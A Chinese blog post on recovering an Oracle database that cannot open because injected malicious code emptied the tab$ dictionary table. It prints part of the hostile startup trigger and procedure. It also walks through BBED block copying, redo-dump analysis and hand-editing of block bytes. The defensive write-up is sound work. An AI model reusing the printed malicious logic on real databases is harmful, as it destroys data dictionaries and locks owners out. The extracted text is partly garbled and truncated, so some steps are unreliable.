我们的文章会在微信公众号IT民工的龙马人生博客网站( www.htz.pw )同步更新 ,欢迎关注收藏,也欢迎大家转载,但是请在文章开始地方标注文章出处,谢谢!
由于博客中有大量代码,通过页面浏览效果更佳。

你是否曾经在Oracle数据库中遇到神秘的ORA-00600错误,然后陷入无尽的困惑和沮丧?这个看似简单的错误代码背后,往往隐藏着复杂的数据库问题,让许多DBA和开发人员头疼不已。

在本文中,我们将深入探讨ORA-00600错误的多种恢复方法,从简单到复杂,一步步带你走出这个”数据库迷宫”。无论你是经验丰富的DBA,还是刚接触Oracle的新手,都能在这里找到适合你的解决方案。

让我们一起来揭开ORA-00600的神秘面纱,掌握这些实用的恢复技巧,让你的数据库运维工作更加得心应手。

近期大量的客户数据库软件被注入恶意代码,导致数据库无法启动,报错ORA-00600: internal error code, arguments: [16703], [1403], [20]。大致的意思是由于恶意攻击,$ORACLE_HOME/rdbms/admin/prvtsupp.plb被注入恶意代码。这些恶意代码会被注入到使用这个oracle软件dbca创建的数据库中,核心部分为一个触发器一个存储过程,清空了tab$,导致数据库启动时,bootstrap阶段无法完成。

触发器如下:

create or replace trigger DBMS_SUPPORT_DBMONITOR
after startup on database
declare
begin
    DBMS_SUPPORT_DBMONITORP;
end;
/ 

触发器用于启动数据库后调用DBMS_SUPPORT_DBMONITORP这个存储过程,存储过程代码如下:

PROCEDURE DBMS_SUPPORT_DBMONITORP IS
DATE1 INT :=10;
BEGIN
SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;
IF (DATE1 >=300) THEN
EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab

此时启动数据库报错ORA-00600: internal error code, arguments: [16703], [1403], [20]

 
Copyright (c) 1982, 2013, Oracle.  All rights reserved.
 
Connected to an idle instance.
 
SQL>  startup
ORACLE instance started.
 
Total System Global Area 1269366784 bytes
Fixed Size                  2252864 bytes
Variable Size            1191186368 bytes
Database Buffers           67108864 bytes
Redo Buffers                8818688 bytes
Database mounted.
ORA-01092: ORACLE instance terminated. Disconnection forced
ORA-00704: bootstrap process failure
ORA-00704: bootstrap process failure
ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [],
[], [], [], [], [], []
Process ID: 3255
Session ID: 125 Serial number: 5

恢复思路

由于有且仅有tab$被delete,所以如果能恢复tab$的数据则数据库将得以恢复,这里我想到的大致恢复方法如下(欢迎大家提供更多的恢复思路):

写成脚本逐一还原被delete的行,目前我的同事编写了python和shell两个版本,经过实战验证都可以完美恢复,千万别问我这两个脚本的下载的地址,问了也没有用,因为脚本不是我写的,没有得到作用的同意,无法分享给大家。
由于恶意代码中,delete tab$前,ctas了一份tab$的备份,可以尝试先open数据库,再根据备份的tab$ insert到tab$中。
odu抽取数据,重建库
本文只模拟第二种方法,恢复步骤大致如下:

open数据库

根据备份的tab$ insert到tab$中
在恢复之前首先简单介绍一下tab$,tab$是cluster C_OBJ#中的一个table,CLUSTER KEY为OBJ#,C_OBJ#中还包括有ICOL$、IND$、COL$、CLU$、I_OBJ#、COLTYPE$等等bootstrap核心对象,tab$在数据库中是非常核心的一个基表,它记录了table的段头地址以及统计信息。在数据库open过程中,需要访问到的基表对象如果在tab$中不存在,则数据库将无法open,报错即为ORA-00600: internal error code, arguments: [16703], [1403], [xxx]。

 SIZE 800
 
CREATE TABLE TAB$("OBJ#" NUMBER NOT NULL,"DATAOBJ#" NUMBER,"TS#" NUMBER NOT NULL,"FILE#" NUMBER NOT NULL,"BLOCK#" NUMBER NOT NULL,"BOBJ#" NUMBER,"TAB#" NUMBER,"COLS" NUMBER NOT NULL,"CLUCOLS" NUMBER,"
PCTFREE

quot; NUMBER NOT NULL,"PCTUSED


quot; NUMBER NOT NULL,"INITRANS" NUMBER NOT NULL,"MAXTRANS" NUMBER NOT NULL,"FLAGS" NUMBER NOT NULL,"AUDIT


quot; VARCHAR2(38) NOT NULL,"ROWCNT" NUMBER,"BLKCNT" NUMBER,"EMPCNT" NUMBER,"AVGSPC" NUMBER,"CHNCNT" NUMBER,"AVGRLN" NUMBER,"AVGSPC_FLB" NUMBER,"FLBCNT" NUMBER,"ANALYZETIME" DATE,"SAMPLESIZE" NUMBER,"DEGREE" NUMBER,"INSTANCES" NUMBER,"INTCOLS" NUMBER NOT NULL,"KERNE
LCOLS" NUMBER NOT NULL,"PROPERTY" NUMBER NOT NULL,"TRIGFLAG" NUMBER,"SPARE1" NUMBER,"SPARE2" NUMBER,"SPARE3" NUMBER,"SPARE4" VARCHAR2(1000),"SPARE5" VARCHAR2(1000),"SPARE6" DATE) STORAGE ( OBJNO 4 TABNO 1) CLUSTER C_OBJ#(OBJ#)

灵魂拷问1:那如何open数据库呢?

在数据库open过程中,需要访问到的基表对象如果在tab$中不存在将报错ORA-00600: internal error code, arguments: [16703], [1403], [xxx],那么将这些对象的信息还原回tab$,则数据库将open成功。

灵魂拷问2:如何确定数据库open需要访问哪些核心基表呢?

找一个正常的数据库做open时的10046,过程如下:

SQL>  startup mount;
ORACLE instance started.
 
Total System Global Area 1269366784 bytes
Fixed Size                  2252864 bytes
Variable Size             754978752 bytes
Database Buffers          503316480 bytes
Redo Buffers                8818688 bytes
Database mounted.
SQL>  @46on
Statement processed.
Statement processed.
SQL>  alter database open;
 
Database altered.
 
SQL>  @46off
/u01/app/oracle/diag/rdbms/test/test/trace/test_ora_1769.trc
Statement processed.

简单的对10046 trace文件进行筛选则可以找到这些基表的obj#,并在一台同平台同版本的数据库上查询这些对象的rdba地址以及其他信息

10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,6571,6731,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99
 
SQL>  SELECT a.OBJ#,TAB#,a.DATAOBJ#,BOBJ#,NAME,DBMS_ROWID.ROWID_RELATIVE_FNO(a.ROWID) FILE_ID,DBMS_ROWID.ROWID_BLOCK_NUMBER(a.ROWID) BLOCK_ID 
  2  FROM TAB$ a,obj$ b 
  3  WHERE a.obj#=b.obj# 
  4  AND A.OBJ# IN (10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99)
  5  order by 6,7;
 
      OBJ#       TAB#   DATAOBJ#      BOBJ# NAME                              FILE_ID   BLOCK_ID
---------- ---------- ---------- ---------- ------------------------------ ---------- ----------
        25                    25            PROXY_ROLE_DATA$                        1        145
        17                    17            FILE$                                   1        145
        20          4          2          2 ICOL$                                   1        145
        19          3          2          2 IND$                                    1        145
        28                    28            CON$                                    1        145
        15                    15            UNDO$                                   1        145
        21          5          2          2 COL$                                    1        146
        16          2          6          6 TS$                                     1        146
         5          2          2          2 CLU$                                    1        146
        14          2          8          8 SEG$                                    1        146
        23                    23            PROXY_DATA$                             1        146
        22          1         10         10 USER$                                   1        147
        18                    18            OBJ$                                    1        147
         4          1          2          2 TAB$                                    1        147
        59                    59            BOOTSTRAP$                              1        147
        32          2         29         29 CCOL$                                   1        147
        61                    61            OBJAUTH$                                1        148
        31          1         29         29 CDEF$                                   1        148
        69                    69            VIEW$                                   1        148
        80          6          2          2 LOB$                                    1        149
        74                    74            SEQ$                                    1        149
        83          7          2          2 COLTYPE$                                1        149
        99                    99            EDITION$                                1        149
        98                    98            PROPS$                                  1        149
        95         11          2          2 OPQTYPE$                                1        149
        92         10          2          2 REFCON$                                 1        149
        88          9          2          2 NTAB$                                   1        149
        86          8          2          2 SUBCOLTYPE$                             1        149
       101                   101            FIXED_OBJ$                              1        150
       103                   103            MIGRATE$                                1        150
       104                   104            DEPENDENCY$                             1        150
       105                   105            ACCESS$                                 1        150
       118                   118            SYSAUTH$                                1        150
       160                   160            TRIGGER$                                1        152
       161                   161            TRIGGERCOL$                             1        152
       192                   192            SQL$                                    1        153
       221                   221            PROCEDURE$                              1        154
       228                   228            IDL_SB4$                                1        155
       227                   227            IDL_UB2$                                1        155
       226                   226            IDL_CHAR$                               1        155
       225                   225            IDL_UB1$                                1        155
       252         14          2          2 LIBRARY$                                1        156
       294                   294            RESOURCE_PLAN$                          1        158
       297                   297            RESOURCE_PLAN_DIRECTIVE$                1        159
       300                   300            RESOURCE_STORAGE_POOL_MAPPING$          1        159
       301                   301            RESOURCE_CAPABILITY$                    1        159
       302                   302            RESOURCE_INSTANCE_CAPABILITY$           1        159
       304                   304            TSM_SRC$                                1        159
       307                   307            TSM_DST$                                1        159
       311                   311            SERVICE$                                1        160
       390                   390            RADM_FPTM$                              1        163
       436                   436            XS$SESSION_ROLES                        1        165
       433                   433            XS$SESSIONS                             1        165
       438                   438            XS$SESSION_APPNS                        1        165
       453                   453            TAB_STATS$                              1        166
       451                   451            AUX_STATS$                              1        166
       448                   448            HIST_HEAD$                              1        166
       446          1        444        444 HISTGRM$                                1        166
       455                   455            IND_STATS$                              1        166
       463                   463            ASSOCIATION$                            1        167
       506                   506            OPTSTAT_HIST_CONTROL$                   1       3337
       514                   514            ID_GENS$                                1       3337
       515                   515            OID$                                    1       3337
       517         17          2          2 TYPE_MISC$                              1       3338
       567                   567            KOPM$                                   1       3339
       587                   587            PARTOBJ$                                1       3341
       713                   713            STREAMS$_CAPTURE_PROCESS                1       4396
       717                   717            STREAMS$_APPLY_PROCESS                  1       4396
       721                   721            STREAMS$_PROPAGATION_PROCESS            1       4396
      1297                  1297            SYS_FBA_FA                              1       7897
      1300                  1300            SYS_FBA_TSFA                            1       7897
      1307                  1307            SYS_FBA_USERS                           1       7897
      1306                  1306            SYS_FBA_PARTITIONS                      1       7897
      1304                  1304            SYS_FBA_TRACKEDTABLES                   1       7897
      1302                  1302            SYS_FBA_BARRIERSCN                      1       7897
      1314                  1314            REGISTRY$                               1       7898
      1309                  1309            SYS_FBA_DL                              1       7898
      5541                  5541            DAM_CONFIG_PARAM$                       1       9952
      5582                  5582            INVALIDATION_REGISTRY$                  1       9954
      5780                  5780            LOC$                                    1       9963
      5804                  5804            AQ$_QUEUE_TABLE_AFFINITIES              1       9965
      5797                  5797            AQ$_QUEUES                              1       9965
      5794                  5794            AQ$_QUEUE_TABLES                        1       9965
      5814                  5814            AQ$_SCHEDULES                           1       9965
      7144                  7144            REPCAT$_REPPROP                         1      13368
     12939                 12939            AQ$_SCHEDULER$_EVENT_QTAB_L             1      22502
     12973                 12973            AQ$_SCHEDULER$_REMDB_JOBQTAB_L          1      22504
     13003                 13003            AQ$_SCHEDULER_FILEWATCHER_QT_L          1      22506
     13059                 13059            AQ$_ALERT_QT_L                          1      22509
     13273                 13273            AQ_EVENT_TABLE                          1      22518
     13298                 13298            AQ$_AQ_PROP_TABLE_L                     1      22519
     13604                 13604            AQ$_SYS$SERVICE_METRICS_TAB_L           1      31492
     14137                 14137            AQ$_WM$EVENT_QUEUE_TABLE_L              1      31514

这些对象在同版本同平台的数据库上的rdba地址一般都是一致的,所以找一台正常运行的同版本同平台的数据库(最好是比较干净的库,否则后续处理会比较麻烦),使用bbed进行替换,用sql拼接出bbed的命令

  2  SELECT a.OBJ#,TAB#,a.DATAOBJ#,BOBJ#,NAME,DBMS_ROWID.ROWID_RELATIVE_FNO(a.ROWID) FILE_ID,DBMS_ROWID.ROWID_BLOCK_NUMBER(a.ROWID) BLOCK_ID 
  3  FROM TAB$ a,obj$ b 
  4  WHERE a.obj#=b.obj# 
  5  AND A.OBJ# IN (10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99));
 
'COPYFILE2BLOCK'||BLOCK_ID||'TOFILE'||FILE_ID||'BLOCK'||BLOCK_ID
----------------------------------------------------------------------------------------------------------------------------------------------------------
copy file 2 block 156 to file 1 block 156
copy file 2 block 160 to file 1 block 160
copy file 2 block 3339 to file 1 block 3339
copy file 2 block 7898 to file 1 block 7898
copy file 2 block 9965 to file 1 block 9965
copy file 2 block 149 to file 1 block 149
copy file 2 block 153 to file 1 block 153
copy file 2 block 9952 to file 1 block 9952
copy file 2 block 13368 to file 1 block 13368
copy file 2 block 150 to file 1 block 150
copy file 2 block 152 to file 1 block 152
copy file 2 block 158 to file 1 block 158
copy file 2 block 165 to file 1 block 165
copy file 2 block 9963 to file 1 block 9963
copy file 2 block 147 to file 1 block 147
copy file 2 block 145 to file 1 block 145
copy file 2 block 148 to file 1 block 148
copy file 2 block 154 to file 1 block 154
copy file 2 block 166 to file 1 block 166
copy file 2 block 4396 to file 1 block 4396
copy file 2 block 9954 to file 1 block 9954
copy file 2 block 22502 to file 1 block 22502
copy file 2 block 22506 to file 1 block 22506
copy file 2 block 155 to file 1 block 155
copy file 2 block 159 to file 1 block 159
copy file 2 block 22504 to file 1 block 22504
copy file 2 block 31492 to file 1 block 31492
copy file 2 block 146 to file 1 block 146
copy file 2 block 163 to file 1 block 163
copy file 2 block 3338 to file 1 block 3338
copy file 2 block 7897 to file 1 block 7897
copy file 2 block 22509 to file 1 block 22509
copy file 2 block 31514 to file 1 block 31514
copy file 2 block 167 to file 1 block 167
copy file 2 block 3337 to file 1 block 3337
copy file 2 block 3341 to file 1 block 3341
copy file 2 block 22518 to file 1 block 22518
copy file 2 block 22519 to file 1 block 22519
 
38 rows selected.
 
[oracle@test ~]$ bbed parfile=bbed
 
BBED: Release 2.0.0.0.0 - Limited Production on Thu Feb 14 03:47:47 2019
 
Copyright (c) 1982, 2011, Oracle and/or its affiliates.  All rights reserved.
 
************* !!! For Oracle Internal Use only !!! ***************
 
BBED>  info
 File#  Name                                                        Size(blks)
 -----  ----                                                        ----------
     1  /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw           0
     2  /u01/app/oracle/oradata/TEST/datafile/o1_mf_system_g5vltnf           0

```可以看到这里需要替换38个数据块,替换后可以成功open数据库,注意如果是实战环境open数据库之前需要禁用系统触发器。

```BBED>  copy file 2 block 156 to file 1 block 156
Warning: contents of previous BIFILE will be lost. Proceed? (Y/N) Y
 File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
 Block: 156              Offsets:    0 to  511           Dba:0x0040009c
------------------------------------------------------------------------
 06a20000 9c004000 13000300 00000106 c8120000 01000000 02000000 12000300 
 00000000 02000200 00000000 00006100 0f000000 81004000 18003000 00800000 
 970a0000 07000d00 99000000 8d59c000 1b001700 02200000 13000300 00076300 
 fffff000 50020f08 0f080000 0a000a00 0a001400 00001400 0b001f00 0e002d00 
 35006200 0100891f 511d0219 6217c215 6b14a012 ea10730f 610d8c08 64044105 
 89030a09 580aaa02 da097c06 b7070f1e 3c080d04 e6042e03 50028a09 1f06c505 
 5b070107 c41da71d 75195819 d517b817 35161816 3f11c90f 140eb70d 6e0b120b 
 ea1eb61e 831e4d1e b31c7b1c 401c071c c91b921b 571b1e1b e21aa81a 701a391a 
 021ac919 92196318 2b18f217 c3168b16 52162815 ef14ba14 8214d113 98135d13 
 2413ef12 b7120112 c8119111 5c114b10 1810e60f cb0e940e 630e310e c20c8e0c 
 540c210c f00bc00b 8b0be11d 00000000 00000000 00000000 00000000 00000000 
 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
 
 <32 bytes per line> 
 
BBED>  set count 1
        COUNT           1
 
BBED>  copy file 2 block 156 to file 1 block 156
 File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
 Block: 156              Offsets:    0 to    0           Dba:0x0040009c
------------------------------------------------------------------------
 06 
 
 <32 bytes per line> 
 
BBED>  copy file 2 block 160 to file 1 block 160

......省略

尝试open数据库:

Connected to an idle instance.
SQL>  startup
ORACLE instance started.
 
Total System Global Area 1269366784 bytes
Fixed Size                  2252864 bytes
Variable Size            1191186368 bytes
Database Buffers           67108864 bytes
Redo Buffers                8818688 bytes
Database mounted.
Database opened.

灵魂拷问3:如何将备份的tab$ insert回tab$?

由于tab$的备份表在tab$中并没有恢复所以无法查询,下面需要根据redodump去确定tab$的备份表t_bak的rdba

ERROR:
ORA-03113: end-of-file on communication channel
Process ID: 2812
Session ID: 125 Serial number: 7

通过对logdump搜索OBJ:2(C_OBJ#的dataobj#)、OP:11.2(insert操作)、tabn:1(C_OBJ#中tab$的tab#),以及查出来的t_bak的obj#,不难找到create table as t_bak对tab$的redo日志:

KTB Redo 
op: 0x11  ver: 0x01  
compat bit: 4 (post-11) padding: 1
op: F  xid:  0x0004.00f.0000011e    uba: 0x00c00630.0050.37
Block cleanout record, scn:  0x0000.000f5a8b ver: 0x01 opt: 0x02, entries follow...
  itli: 1  flg: 2  scn: 0x0000.000f5a8b
KDO Op code: IRP row dependencies Disabled
  xtype: XA flags: 0x00000000  bdba: 0x00407b2c  hdba: 0x00400090
itli: 2  ispac: 0  maxfr: 4863
tabn: 1 slot: 2(0x2) size/delt: 123
fb: -CH-FL-- lb: 0x2  cc: 36 cki: 0
null:
01234567890123456789012345678901234567890123456789012345678901234567890123456789
----NN-N------NNNNNNNNNNNN-----NNNN-
col  0: [ 4]  c3 02 30 34 --obj#
col  1: [ 1]  80
col  2: [ 2]  c1 02
col  3: [ 4]  c3 05 61 29
col  4: *NULL*
col  5: *NULL*
col  6: [ 2]  c1 26
col  7: *NULL*
col  8: [ 2]  c1 0b
col  9: [ 2]  c1 29
col 10: [ 2]  c1 02
col 11: [ 3]  c2 03 38
col 12: [ 2]  c1 02
col 13: [38]
 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d
 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d
col 14: *NULL*
col 15: *NULL*
col 16: *NULL*
col 17: *NULL*
col 18: *NULL*
col 19: *NULL*
col 20: *NULL*
col 21: *NULL*
col 22: *NULL*
col 23: *NULL*
col 24: *NULL*
col 25: *NULL*
col 26: [ 2]  c1 26
col 27: [ 2]  c1 26
col 28: [ 6]  c5 06 25 58 0a 0d
col 29: [ 1]  80
col 30: [ 3]  c2 02 4d
col 31: *NULL*
col 32: *NULL*
col 33: *NULL*
col 34: *NULL*
col 35: [ 7]  78 77 01 1f 0e 25 01

可以看到t_bak在tab$的rdba地址为0x00407b2c(file 1 block 31532),cki为0即cluster key为kdbr[0]

BBED>  set count 16     
        COUNT           16
 
BBED>  set file 1 block 31532
        FILE#           1
        BLOCK#          31532
 
BBED>  p *kdbr[0]
rowdata[2060]
-------------
ub1 rowdata[2060]                           @2601     0xac
 
BBED>  x /rx
rowdata[2060]                               @2601    
-------------
flag@2601: 0xac (KDRHFL, KDRHFF, KDRHFH, KDRHFK)
lock@2602: 0x00
cols@2603:    1
kref@2604:   38
mref@2606:   37
hrid@2608:0x00407b2c.0
nrid@2614:0x00407b2c.0
 
col    0[4] @2620:  0xc3  0x02  0x30  0x34 

与redo dump一致,下面开始恢复tab$中t_bak的记录,由于是cluster block所以过程有点繁琐

rowdata[1937]
-------------
ub1 rowdata[1937]                           @2478     0x7c
 
BBED>  x /rn
rowdata[1937]                               @2478    
-------------
flag@2478: 0x7c (KDRHFL, KDRHFF, KDRHFD, KDRHFH, KDRHFC)
lock@2479: 0x02
cols@2480:    0
 
BBED>  m /x 6c offset 2478
 File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
 Block: 31532            Offsets: 2478 to 2493           Dba:0x00407b2c
------------------------------------------------------------------------
 6c022400 04c30230 34018002 c10204c3 
 
 <32 bytes per line> 
 
BBED>  sum apply
Check value for File 1, Block 31532:
current = 0x1e1f, required = 0x1e1f
 
BBED>  v
DBVERIFY - Verification starting
FILE = /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf
BLOCK = 31532
 
Block Checking: DBA = 4225836, Block Type = KTB-managed data block
data header at 0x7f1cebc1d25c
kdbchk:  key comref count wrong
         keyslot=0
Block 31532 failed with check code 6121
 
DBVERIFY - Verification complete
 
Total Blocks Examined         : 1
Total Blocks Processed (Data) : 1
Total Blocks Failing   (Data) : 1
Total Blocks Processed (Index): 0
Total Blocks Failing   (Index): 0
Total Blocks Empty            : 0
Total Blocks Marked Corrupt   : 0
Total Blocks Influx           : 0
Message 531 not found;  product=RDBMS; facility=BBED
 
 
BBED>  m /x 26 offset 2606
 File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
 Block: 31532            Offsets: 2606 to 2621           Dba:0x00407b2c
------------------------------------------------------------------------
 26000040 7b2c0000 00407b2c 000004c3 
 
 <32 bytes per line> 
 
BBED>  sum apply
Check value for File 1, Block 31532:
current = 0x1e1c, required = 0x1e1c
 
BBED>  v
DBVERIFY - Verification starting
FILE = /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf
BLOCK = 31532
 
Block Checking: DBA = 4225836, Block Type = KTB-managed data block
data header at 0x11e5a5c
kdbchk: the amount of space used is not equal to block size
        used=3398 fsc=385 avsp=4432 dtl=8096
Block 31532 failed with check code 6110
 
DBVERIFY - Verification complete
 
Total Blocks Examined         : 1
Total Blocks Processed (Data) : 1
Total Blocks Failing   (Data) : 1
Total Blocks Processed (Index): 0
Total Blocks Failing   (Index): 0
Total Blocks Empty            : 0
Total Blocks Marked Corrupt   : 0
Total Blocks Influx           : 0
Message 531 not found;  product=RDBMS; facility=BBED
 
BBED>  p kdbh
struct kdbh, 14 bytes                       @92      
   ub1 kdbhflag                             @92       0x00 (NONE)
   sb1 kdbhntab                             @93       7
   sb2 kdbhnrow                             @94       127
   sb2 kdbhfrre                             @96       6
   sb2 kdbhfsbo                             @98       296
   sb2 kdbhfseo                             @100      449
   sb2 kdbhavsp                             @102      4432
   sb2 kdbhtosp                             @104      4829
   
BBED>  p ktbbhitl
struct ktbbhitl[0], 24 bytes                @44      
   struct ktbitxid, 8 bytes                 @44      
      ub2 kxidusn                           @44       0x0008
      ub2 kxidslt                           @46       0x0005
      ub4 kxidsqn                           @48       0x00000182
   struct ktbituba, 8 bytes                 @52      
      ub4 kubadba                           @52       0x00c00d2f
      ub2 kubaseq                           @56       0x0086
      ub1 kubarec                           @58       0x14
   ub2 ktbitflg                             @60       0x8000 (KTBFCOM)
   union _ktbitun, 2 bytes                  @62      
      sb2 _ktbitfsc                         @62       0
      ub2 _ktbitwrp                         @62       0x0000
   ub4 ktbitbas                             @64       0x00102cd7
struct ktbbhitl[1], 24 bytes                @68      
   struct ktbitxid, 8 bytes                 @68      
      ub2 kxidusn                           @68       0x0009
      ub2 kxidslt                           @70       0x0009
      ub4 kxidsqn                           @72       0x0000018f
   struct ktbituba, 8 bytes                 @76      
      ub4 kubadba                           @76       0x00c00499
      ub2 kubaseq                           @80       0x00f9
      ub1 kubarec                           @82       0x09
   ub2 ktbitflg                             @84       0x2003 (KTBFUPB)
   union _ktbitun, 2 bytes                  @86      
      sb2 _ktbitfsc                         @86       385
      ub2 _ktbitwrp                         @86       0x0181
   ub4 ktbitbas                             @88       0x00102ce3
 
BBED>  m /x 0000 offset 86
 File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
 Block: 31532            Offsets:   86 to  101           Dba:0x00407b2c
------------------------------------------------------------------------
 0000e32c 10000007 7f000600 2801c101 
 
 <32 bytes per line> 
 
BBED>  m /x 5a12 offset 102
 File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
 Block: 31532            Offsets:  102 to  117           Dba:0x00407b2c
------------------------------------------------------------------------
 5a1210d9 00000300 03000300 06000000 
 
 <32 bytes per line> 
 
BBED>  m /x 5a12 offset 104
 File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
 Block: 31532            Offsets:  104 to  119           Dba:0x00407b2c
------------------------------------------------------------------------
 5a120000 03000300 03000600 00000600 
 
 <32 bytes per line> 
 
BBED>  sum apply
Check value for File 1, Block 31532:
current = 0x1c10, required = 0x1c10
 
BBED>  v
DBVERIFY - Verification starting
FILE = /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf
BLOCK = 31532
 
Block Checking: DBA = 4225836, Block Type = KTB-managed data block
data header at 0x1207a5c
kdbchk: space available on commit is incorrect
        tosp=4698 fsc=0 stb=8 avsp=4698
Block 31532 failed with check code 6111
 
DBVERIFY - Verification complete
 
Total Blocks Examined         : 1
Total Blocks Processed (Data) : 1
Total Blocks Failing   (Data) : 1
Total Blocks Processed (Index): 0
Total Blocks Failing   (Index): 0
Total Blocks Empty            : 0
Total Blocks Marked Corrupt   : 0
Total Blocks Influx           : 0
Message 531 not found;  product=RDBMS; facility=BBED
 
BBED>  m /x 6212 offset 104  
 File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
 Block: 31532            Offsets:  104 to  119           Dba:0x00407b2c
------------------------------------------------------------------------
 62120000 03000300 03000600 00000600 
 
 <32 bytes per line> 
 
BBED>  sum apply
Check value for File 1, Block 31532:
current = 0x1c28, required = 0x1c28
 
BBED>  v
DBVERIFY - Verification starting
FILE = /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf
BLOCK = 31532
 
DBVERIFY - Verification complete
 
Total Blocks Examined         : 1
Total Blocks Processed (Data) : 1
Total Blocks Failing   (Data) : 0
Total Blocks Processed (Index): 0
Total Blocks Failing   (Index): 0
Total Blocks Empty            : 0
Total Blocks Marked Corrupt   : 0
Total Blocks Influx           : 0
Message 531 not found;  product=RDBMS; facility=BBED
 
SQL>  select count(*) from t_bak;
 
  COUNT(*)
----------
      1250

t_bak已经恢复完成,下面insert回tab$

 
982 rows created.
 
SQL>  commit;
 
Commit complete.
 
SQL>  select count(*) from t;
 
  COUNT(*)
----------
     13982

至此数据库基本恢复完成。

但是通过hcheck脚本检查数据字典一致性发现还是有一些问题存在:

HCheck Version 07MAY18 on 14-FEB-2019 22:49:53
----------------------------------------------
Catalog Version 11.2.0.4.0 (1102000400)
db_name: LXY
 
                                   Catalog       Fixed
Procedure Name                     Version    Vs Release    Timestamp
Result
------------------------------ ... ---------- -- ---------- --------------
------
.- LobNotInObj                 ... 1102000400 <=  *All Rel* 02/14 22:49:53 PASS
.- MissingOIDOnObjCol          ... 1102000400 <=  *All Rel* 02/14 22:49:53 FAIL
 
HCKE-0002: Object type column with missing OID$ (Doc ID 1360268.1)
OBJ#=12946 Name=SYS.AQ$SCHEDULER$_EVENT_QTAB IntCol#=20=USER_DATA TabProp=
OBJ#=12953 Name=SYS.SCHEDULER$_REMDB_JOBQTAB IntCol#=28=USER_DATA
TabProp=539101206
OBJ#=12953 Name=SYS.SCHEDULER$_REMDB_JOBQTAB IntCol#=31=SYS_NC00031$
TabProp=539101206
OBJ#=12953 Name=SYS.SCHEDULER$_REMDB_JOBQTAB IntCol#=46=SYS_NC00046$
TabProp=539101206
OBJ#=12987 Name=SYS.SCHEDULER_FILEWATCHER_QT IntCol#=28=USER_DATA
TabProp=539101190
OBJ#=12987 Name=SYS.SCHEDULER_FILEWATCHER_QT IntCol#=35=SYS_NC00035$
TabProp=539101190
OBJ#=13273 Name=SYS.AQ_EVENT_TABLE IntCol#=25=USER_DATA TabProp=539363346
OBJ#=13281 Name=SYS.AQ$AQ_EVENT_TABLE IntCol#=20=USER_DATA TabProp=
OBJ#=13282 Name=SYS.AQ$_AQ_EVENT_TABLE_F IntCol#=24=USER_DATA TabProp=
OBJ#=13285 Name=SYS.AQ_PROP_TABLE IntCol#=28=USER_DATA TabProp=539101186
OBJ#=13591 Name=SYS.SYS$SERVICE_METRICS_TAB IntCol#=28=USER_DATA
TabProp=539101186
 
.- SourceNotInObj              ... 1102000400 <=  *All Rel* 02/14 22:49:53 PASS
.- OversizedFiles              ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- PoorDefaultStorage          ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- PoorStorage                 ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- TabPartCountMismatch        ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- OrphanedTabComPart          ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- MissingSum$                 ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- MissingDir$                 ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- DuplicateDataobj            ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- ObjSynMissing               ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
